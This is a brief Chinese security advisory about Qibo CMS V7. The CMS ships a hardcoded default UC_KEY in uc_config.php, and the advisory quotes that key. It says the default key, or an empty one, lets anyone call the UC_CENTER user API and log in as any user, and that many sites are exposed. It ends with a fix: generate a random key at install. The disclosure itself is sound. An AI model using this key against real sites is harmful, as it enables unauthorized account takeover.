齐博cms整站系统(原PHP168)配置不当致任意用户登陆漏洞预警
。详细说明：还是由于UC_CENTER的问题，之前闹过UC_KEY变量为空时可以调用UC_CENTER中的相关用户API直接进行操作，今天下了一份V7版本的源码，在uc_config.php中发现UC_KEY被初始化了
define(‘UC_DBCONNECT’, ’0′);
define(‘UC_KEY’, ‘fdsafd43′); //这里做了初始化
define(‘UC_API’, ‘http://www.myhack58.com/dz/uc_server’);
Google了一把，发现很多站都可以用空的UC_KEY或默认的UC_KEY成功调用UC接口。
从官方成功案例中找到一个网站

修复方案：
安装的时候随即字符串重写，
